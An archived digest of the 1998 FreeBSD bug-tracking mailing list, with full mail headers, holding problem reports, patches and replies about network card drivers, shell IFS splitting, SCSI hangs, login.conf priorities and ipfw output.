NAA09232 for ; Thu, 14 May 1998 13:52:58 -0700 (PDT) (envelope-from hans@artcom.de) Received: by mail.artcom.de id m0ya4zi-000011C; Thu, 14 May 1998 22:52:50 +0200 (MEST) Message-Id: Date: Thu, 14 May 1998 22:52:50 +0200 (MEST) From: hans@artcom.de (Hans Huebner) To: hsu@clinet.fi Subject: Re: kern/6623: non-root user can crash system if disconnected de card present Newsgroups: artcom.mailing-list.freebsd.bugs In-Reply-To: References: <199805131619.LAA03995@home.dragondata.com.newsgate.clinet.fi> Organization: Art+Com GmbH, Berlin, Germany Cc: freebsd-bugs@FreeBSD.ORG Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In article you write: >toasty@home.dragondata.com writes: >> Also... Why after a card decides theres a cable problem will it not detect >> the cable being put back in until you do a 'ifconfig de0 down'. (as soon a >> syou type that, it suddenly sees the cable again) These are netgear 10/100 >> cards... >> de0: rev 0x22 int a irq 19 on pci0.17.0 >> de0: 21140A [10-100Mb/s] pass 2.2 >metoo with SMC variant of 21140A card. The workaround is to explicitly set the desired ethernet connection in /etc/rc.conf as in ifconfig_de0="inet 10.1.1.2 netmask 255.255.255.0 media 10BaseT/UTP" See "man 4 de" for possible options to the media specification. Regards, -Hans To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 14:35:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA17440 for freebsd-bugs-outgoing; Thu, 14 May 1998 14:35:54 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from pat.idi.ntnu.no (0@pat.idi.ntnu.no [129.241.103.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA17410 for ; Thu, 14 May 1998 14:35:34 -0700 (PDT) (envelope-from Tor.Egge@idi.ntnu.no) Received: from idi.ntnu.no (tegge@ikke.idi.ntnu.no [129.241.111.65]) by pat.idi.ntnu.no (8.8.8/8.8.8) with ESMTP id XAA01626; Thu, 14 May 1998 23:35:02 +0200 (MET DST) Message-Id: <199805142135.XAA01626@pat.idi.ntnu.no> To: cracauer@cons.org Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6557: /bin/sh && IFS In-Reply-To: Your message of "Wed, 13 May 1998 02:00:02 -0700 (PDT)" References: <199805130900.CAA03452@freefall.freebsd.org> X-Mailer: Mew version 1.70 on Emacs 19.34.1 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 14 May 1998 23:35:01 +0200 From: Tor Egge Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Hm, Solaris' ksh and sh don't agree completely (Solaris 2.6/SPARC): > > #! /bin/sh > IFS=" :" > var="bla:fasel:blubb:" > for i in foo:bla:fasel:blubb: ; do > echo val: "'"$i"'" > done > echo > for i in foo:$var ; do > echo val: "'"$i"'" > done ksh93 on Solaris 2.5.1 gives: val: 'foo bla fasel blubb ' val: 'foo bla' val: 'fasel' val: 'blubb' This is almost the correct output. IMO, the correct output is val: 'foo bla fasel blubb ' val: 'foo bla' val: 'fasel' val: 'blubb' val: '' - Tor Egge To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 15:03:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA24290 for freebsd-bugs-outgoing; Thu, 14 May 1998 15:03:49 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA24285 for ; Thu, 14 May 1998 15:03:48 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA08964; Thu, 14 May 1998 15:00:01 -0700 (PDT) Date: Thu, 14 May 1998 15:00:01 -0700 (PDT) Message-Id: <199805142200.PAA08964@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Stefan Esser Subject: Re: kern/6603: ncr driver hangs under high load Reply-To: Stefan Esser Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/6603; it has been noted by GNATS. From: Stefan Esser To: hans@artcom.de, FreeBSD-gnats-submit@freebsd.org Cc: Stefan Esser Subject: Re: kern/6603: ncr driver hangs under high load Date: Thu, 14 May 1998 22:59:07 +0200 On 1998-05-12 12:05 +0200, hans@artcom.de wrote: > FreeBSD-2.2.6-RELEASE, P200, HX-Based MB, SYM22802 SCSI controller (w/diff), > four IBM DCHS09X drives on first SCSI channel, root on sd0, sd1/2/3 striped > together as ccd. > > >Description: > > Under load, the ncr driver hangs while accessing the stripe set. > > ncr0:3: ERROR (a0:0) (8-28-0) (f/9d) @ (script 928:1807f580). > ncr0: script cmd = 88030000 > ncr0: regdump: da 10 80 9d 47 0f 02 07 03 08 83 28 80 00 00 08. > ncr0: restart (fatal error). > sd3(ncr0:3:0): COMMAND FAILED (9 ff) @f0d80800. I'll look into this. Will need some days, though ... Gruß, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 16:03:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA03002 for freebsd-bugs-outgoing; Thu, 14 May 1998 16:03:50 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA02997 for ; Thu, 14 May 1998 16:03:49 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id QAA09160; Thu, 14 May 1998 16:00:01 -0700 (PDT) Date: Thu, 14 May 1998 16:00:01 -0700 (PDT) Message-Id: <199805142300.QAA09160@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Luis Munoz Subject: Re: kern/6197: 3com905 Seriously broken Reply-To: Luis Munoz Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/6197; it has been noted by GNATS. From: Luis Munoz To: freebsd-gnats-submit@freebsd.org, dwhite@resnet.uoregon.edu Cc: Subject: Re: kern/6197: 3com905 Seriously broken Date: Thu, 14 May 1998 18:53:46 -0400 I have a 3COM 3C905B-TX and the symptoms are the same. I was able to discern that what hangs the machine is the first packet coming in on the ethernet port. It makes no difference to use 10 Mbit or 100 Mbit. It doesn't matter the IRQ I choose for the card. The card-id is the same posted before. -lem To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 16:49:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA11015 for freebsd-bugs-outgoing; Thu, 14 May 1998 16:49:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA11009 for ; Thu, 14 May 1998 16:49:15 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id QAA01074; Thu, 14 May 1998 16:49:11 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Luis Munoz cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6197: 3com905 Seriously broken In-reply-to: Your message of "Thu, 14 May 1998 16:00:01 PDT." <199805142300.QAA09160@freefall.freebsd.org> Date: Thu, 14 May 1998 16:49:11 -0700 Message-ID: <1069.895189751@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I have a 3COM 3C905B-TX and the symptoms are the same. Argh, I wish people would stop confusing the 3C905 (on the supported list such) with the 3C905B (not on the supported list) since they're very different animals. Yes, I know it's just a small letter after the model #, but letters make a lot of difference in this industry. :-) The 3C905B card is not supported in FreeBSD and probably won't be for some time. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 17:33:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA20449 for freebsd-bugs-outgoing; Thu, 14 May 1998 17:33:53 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA20442 for ; Thu, 14 May 1998 17:33:49 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA09377; Thu, 14 May 1998 17:30:01 -0700 (PDT) Received: from forbidden-donut.anet-stl.com (vmailer@forbidden-donut.anet-stl.com [209.83.128.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA20204 for ; Thu, 14 May 1998 17:31:49 -0700 (PDT) (envelope-from doogie@forbidden-donut.anet-stl.com) Received: by forbidden-donut.anet-stl.com (VMailer, from userid 1001) id 1C21F043DA; Thu, 14 May 1998 19:31:23 -0500 (CDT) Message-Id: <19980515003122.1C21F043DA@forbidden-donut.anet-stl.com> Date: Thu, 14 May 1998 19:31:22 -0500 (CDT) From: doogie@forbidden-donut.anet-stl.com Reply-To: doogie@forbidden-donut.anet-stl.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6636: There is no way to set real/idletime priority in login.conf Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6636 >Category: bin >Synopsis: There is no way to set real/idletime priority in login.conf >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu May 14 17:30:00 PDT 1998 >Last-Modified: >Originator: Jason Young >Organization: ANET St. Louis >Release: FreeBSD 2.2.6-STABLE i386 >Environment: FreeBSD 3.0-CURRENT, as of 05-10-98 FreeBSD 2.2.6-STABLE, as of 05-10-98 >Description: There is no way to set idle or realtime processing priorities for an entire user class via the login.conf file. This capability is highly desirable. For example, you might wish to set all normal shell users to an idletime processing class, to keep them from being able to interfere with system processes. You might also set root logins at the console to a realtime value, so that you can get into a machine that's running something out of control. This is only what I can think of off the top of my head. >How-To-Repeat: N/A. >Fix: This patch adapts the 'priority' attribute to understand values ranging from 52 to -52, to allow setting of priority in a manner identical to that displayed by top(1). 21-52 are idletime priorities, -21 to -52 are realtime, and 20 to -20 are normal nice values. *** login_class.c.old Sat May 10 13:55:38 1997 --- login_class.c Sun May 10 07:08:07 1998 *************** *** 36,45 **** --- 36,46 ---- #include #include #include #include #include + #include #undef UNKNOWN #define UNKNOWN "su" *************** *** 313,322 **** --- 314,324 ---- setusercontext(login_cap_t *lc, const struct passwd *pwd, uid_t uid, unsigned int flags) { quad_t p; mode_t mymask; login_cap_t *llc = NULL; + struct rtprio rtp; if (lc == NULL) { if (pwd != NULL && (lc = login_getpwclass(pwd)) != NULL) llc = lc; /* free this when we're done */ } *************** *** 328,343 **** if (pwd == NULL) flags &= ~(LOGIN_SETGROUP | LOGIN_SETLOGIN); /* Set the process priority */ if (flags & LOGIN_SETPRIORITY) { ! p = login_getcapnum(lc, "priority", LOGIN_DEFPRI, LOGIN_DEFPRI); ! p = (p < PRIO_MIN || p > PRIO_MAX) ? LOGIN_DEFPRI : p; ! if (setpriority(PRIO_PROCESS, 0, (int)p) != 0) ! syslog(LOG_WARNING, "setpriority '%s' (%s): %m", pwd->pw_name, lc ? lc->lc_class : LOGIN_DEFCLASS); } /* Setup the user's group permissions */ if (flags & LOGIN_SETGROUP) { if (setgid(pwd->pw_gid) != 0) { --- 330,360 ---- if (pwd == NULL) flags &= ~(LOGIN_SETGROUP | LOGIN_SETLOGIN); /* Set the process priority */ if (flags & LOGIN_SETPRIORITY) { ! p = login_getcapnum(lc, "priority", LOGIN_DEFPRI, LOGIN_DEFPRI); ! if(p > PRIO_MAX) { ! rtp.type = RTP_PRIO_IDLE; ! rtp.prio = p - PRIO_MAX - 1; ! p = (rtp.prio > RTP_PRIO_MAX) ? 31 : p; ! if(rtprio(RTP_SET, 0, &rtp)) ! syslog(LOG_WARNING, "rtprio '%s' (%s): %m", pwd->pw_name, lc ? lc->lc_class : LOGIN_DEFCLASS); + } else if(p < PRIO_MIN) { + rtp.type = RTP_PRIO_REALTIME; + rtp.prio = abs(p - PRIO_MIN + RTP_PRIO_MAX); + p = (rtp.prio > RTP_PRIO_MAX) ? 1 : p; + if(rtprio(RTP_SET, 0, &rtp)) + syslog(LOG_WARNING, "rtprio '%s' (%s): %m", + pwd->pw_name, lc ? lc->lc_class : LOGIN_DEFCLASS); + } else { + if (setpriority(PRIO_PROCESS, 0, (int)p) != 0) + syslog(LOG_WARNING, "setpriority '%s' (%s): %m", + pwd->pw_name, lc ? lc->lc_class : LOGIN_DEFCLASS); + } } /* Setup the user's group permissions */ if (flags & LOGIN_SETGROUP) { if (setgid(pwd->pw_gid) != 0) { >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 20:33:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA24038 for freebsd-bugs-outgoing; Thu, 14 May 1998 20:33:15 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from localhost.zilker.net (jump-k56flex-0054.jumpnet.com [207.8.6.54]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA24030 for ; Thu, 14 May 1998 20:33:11 -0700 (PDT) (envelope-from marquard@zilker.net) Received: (from marquard@localhost) by localhost.zilker.net (8.8.8/8.8.3) id WAA15238; Thu, 14 May 1998 22:32:24 -0500 (CDT) To: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6605 References: <199805130727.AAA01467@freefall.freebsd.org> From: Dave Marquardt Date: 14 May 1998 22:32:23 -0500 In-Reply-To: Poul-Henning Kamp's message of "Wed, 13 May 1998 00:27:22 -0700 (PDT)" Message-ID: <85n2ckw6ns.fsf@localhost.zilker.net> Lines: 13 X-Mailer: Quassia Gnus v0.22/XEmacs 19.16 - "Lille" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Poul-Henning Kamp writes: > Synopsis: sio.c lacks an entry for Motorola ModemSurfer 56K for PnP > > State-Changed-From-To: open-closed > State-Changed-By: phk > State-Changed-When: Wed May 13 00:27:04 PDT 1998 > State-Changed-Why: > committed to -current, thanks! 'Scuse my ignorance, but is this going to be committed to -stable also? -Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 22:23:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA11986 for freebsd-bugs-outgoing; Thu, 14 May 1998 22:23:56 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA11974 for ; Thu, 14 May 1998 22:23:51 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id WAA10738; Thu, 14 May 1998 22:20:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA10463; Thu, 14 May 1998 22:17:30 -0700 (PDT) (envelope-from nobody) Message-Id: <199805150517.WAA10463@hub.freebsd.org> Date: Thu, 14 May 1998 22:17:30 -0700 (PDT) From: shiba@mxs.meshnet.or.jp To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/6640: X colors are odd on CPU_686 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6640 >Category: i386 >Synopsis: X colors are odd on CPU_686 >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu May 14 22:20:01 PDT 1998 >Last-Modified: >Originator: shiba >Organization: >Release: 3.0-current after 5/10/98 >Environment: >Description: Xfree86 odd behavier (colors) on CPU_686 K6 ,P55C is no effect >How-To-Repeat: vga_probe(pcisupport.c) calls pmap_setdevram .exist bug at point(probably). >Fix: need to fix 'pmap_setdevram' or 'vga_probe' I modified pmap.c.(always return on top in pmap_setdevram.) >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 23:03:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA16798 for freebsd-bugs-outgoing; Thu, 14 May 1998 23:03:53 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA16791 for ; Thu, 14 May 1998 23:03:51 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id XAA10806; Thu, 14 May 1998 23:00:01 -0700 (PDT) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA16750 for ; Thu, 14 May 1998 23:02:54 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id IAA14077 for ; Fri, 15 May 1998 08:02:39 +0200 (MDT) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id IAA13736 for ; Fri, 15 May 1998 08:02:40 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id IAA00462 for ; Fri, 15 May 1998 08:02:41 +0200 (CEST) Message-Id: <199805150602.IAA27469@internal> Date: Fri, 15 May 1998 08:02:39 +0200 (CEST) From: Andre Albsmeier To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6641: ipfw ignores -q when doing "ipfw -q zero 1234" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6641 >Category: bin >Synopsis: ipfw ignores -q when doing "ipfw -q zero 1234" >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu May 14 23:00:00 PDT 1998 >Last-Modified: >Originator: Andre Albsmeier >Organization: >Release: FreeBSD 2.2.6-STABLE i386 >Environment: 2.2-STABLE >Description: When using the -q option, ipfw ignores it when zeroing a rule. >How-To-Repeat: Simply do it: ipfw -q zero 100 >Fix: *** ipfw.c.ORI Fri May 15 07:46:56 1998 --- ipfw.c Fri May 15 07:47:38 1998 *************** *** 1131,1137 **** "IP_FW_ZERO"); failed = 1; } ! else printf("Entry %d cleared\n", rule.fw_number); } else --- 1131,1137 ---- "IP_FW_ZERO"); failed = 1; } ! else if (!do_quiet) printf("Entry %d cleared\n", rule.fw_number); } else >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 23:23:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA19522 for freebsd-bugs-outgoing; Thu, 14 May 1998 23:23:40 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA19511 for ; Thu, 14 May 1998 23:23:37 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id IAA01656; Fri, 15 May 1998 08:22:52 +0200 (CEST) To: Dave Marquardt cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6605 In-reply-to: Your message of "14 May 1998 22:32:23 CDT." <85n2ckw6ns.fsf@localhost.zilker.net> Date: Fri, 15 May 1998 08:22:52 +0200 Message-ID: <1654.895213372@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <85n2ckw6ns.fsf@localhost.zilker.net>, Dave Marquardt writes: >Poul-Henning Kamp writes: >> Synopsis: sio.c lacks an entry for Motorola ModemSurfer 56K for PnP >> >> State-Changed-From-To: open-closed >> State-Changed-By: phk >> State-Changed-When: Wed May 13 00:27:04 PDT 1998 >> State-Changed-Why: >> committed to -current, thanks! > >'Scuse my ignorance, but is this going to be committed to -stable >also? Probably yes, either because a "-stable" active committer does it, or in one of the huge merge sweeps before release time. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 05:42:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA15366 for freebsd-bugs-outgoing; Fri, 15 May 1998 05:42:52 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA15339; Fri, 15 May 1998 05:42:37 -0700 (PDT) (envelope-from danny@FreeBSD.org) From: "Daniel O'Callaghan" Received: (from danny@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id FAA15361; Fri, 15 May 1998 05:38:45 -0700 (PDT) Date: Fri, 15 May 1998 05:38:45 -0700 (PDT) Message-Id: <199805151238.FAA15361@freefall.freebsd.org> To: andre.albsmeier@mchp.siemens.de, danny@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6641 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: ipfw ignores -q when doing "ipfw -q zero 1234" State-Changed-From-To: open-closed State-Changed-By: danny State-Changed-When: Fri May 15 05:38:16 PDT 1998 State-Changed-Why: Patch applied. Thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 07:33:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA02407 for freebsd-bugs-outgoing; Fri, 15 May 1998 07:33:16 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA02363 for ; Fri, 15 May 1998 07:33:08 -0700 (PDT) (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id KAA00269 for ; Fri, 15 May 1998 10:33:07 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id KAA29860 for ; Fri, 15 May 1998 10:33:22 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id KAA27140; Fri, 15 May 1998 10:33:21 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Fri, 15 May 1998 10:33:21 -0400 (EDT) Message-Id: <199805151433.KAA27140@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6557: /bin/sh && IFS In-Reply-To: Tor Egge's message of "Thu, May 14, 1998 23:35:01 +0200" regarding "Re: bin/6557: /bin/sh && IFS" id <199805142135.XAA01626@pat.idi.ntnu.no> References: <199805130900.CAA03452@freefall.freebsd.org> <199805142135.XAA01626@pat.idi.ntnu.no> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ On Thu, May 14, 1998 at 23:35:01 (+0200), Tor Egge wrote: ] > Subject: Re: bin/6557: /bin/sh && IFS > > IMO, the correct output is > > val: 'foo bla fasel blubb ' > > val: 'foo bla' > val: 'fasel' > val: 'blubb' > val: '' If P1003.2 Draft 11.2's wording on this survived the final updates (and The Single UNIX Specification, Version 2 seems to concur), the last field should *not* be generated. I do agree though that such behaviour would make it hard to do certain quite common things (such as emulate the shell's own behaviour with PATH in a shell script). -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 09:44:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA25030 for freebsd-bugs-outgoing; Fri, 15 May 1998 09:44:00 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA25016 for ; Fri, 15 May 1998 09:43:54 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA11238; Fri, 15 May 1998 09:40:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA23573; Fri, 15 May 1998 09:39:50 -0700 (PDT) (envelope-from nobody) Message-Id: <199805151639.JAA23573@hub.freebsd.org> Date: Fri, 15 May 1998 09:39:50 -0700 (PDT) From: wataru-s@mfeed.ad.jp To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/6646: dump(8) using remote tape drive is too slow Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6646 >Category: bin >Synopsis: dump(8) using remote tape drive is too slow >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Fri May 15 09:40:00 PDT 1998 >Last-Modified: >Originator: Wataru Satoh >Organization: INTERNET MULTIFEED CO. >Release: 2.2.6R, but 2.2.2R was same >Environment: >Description: dumprmt.c of 4.4BSD-Lite dump(8) sets TCP_MAXSEG to 1024. On FreeBSD's version, not set and replaced with setting of (almost useless) IP_TOS option. When I added the very point of original 4.4BSD-Lite code, dump(8) got 1000% of performance when using with remote tape control (rmt(8)). >How-To-Repeat: I experienced the slowness in contrast to BSDI's dump(8). >Fix: I don't know about the very problem, but the patch I made was effective. I put it at http://www.asahi-net.or.jp/%7eif6w-stu/dump-patch-fbsd.tar.gz >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 13:13:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA25999 for freebsd-bugs-outgoing; Fri, 15 May 1998 13:13:56 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA25992 for ; Fri, 15 May 1998 13:13:55 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA12166; Fri, 15 May 1998 13:10:00 -0700 (PDT) Received: from shrimp.whistle.com (s205m74.whistle.com [207.76.205.74]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA24671 for ; Fri, 15 May 1998 13:05:42 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by shrimp.whistle.com (8.8.8/8.8.7) id NAA00469; Fri, 15 May 1998 13:05:11 -0700 (PDT) (envelope-from dhw) Message-Id: <199805152005.NAA00469@shrimp.whistle.com> Date: Fri, 15 May 1998 13:05:11 -0700 (PDT) From: David Wolfskill Reply-To: dhw@whistle.com To: 